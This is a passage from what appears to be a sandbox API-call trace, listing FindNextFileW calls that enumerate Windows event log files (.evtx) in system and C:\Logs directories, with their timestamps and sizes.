cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0069.842] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0069.843] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0069.843] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0069.843] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0069.843] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0069.845] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0069.845] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0069.845] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0069.845] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0069.845] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0069.845] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0069.846] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0069.846] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0069.846] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0069.846] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0069.846] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0069.846] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0069.846] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0069.847] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0069.847] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0069.847] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.847] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0069.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0069.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0069.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0069.848] GetFullPathNameW (in: lpFileName="C:\\Logs", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\Logs", lpFilePart=0x0) returned 0x7 [0069.848] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.849] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.850] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0069.850] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0069.850] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0069.850] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0069.850] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, 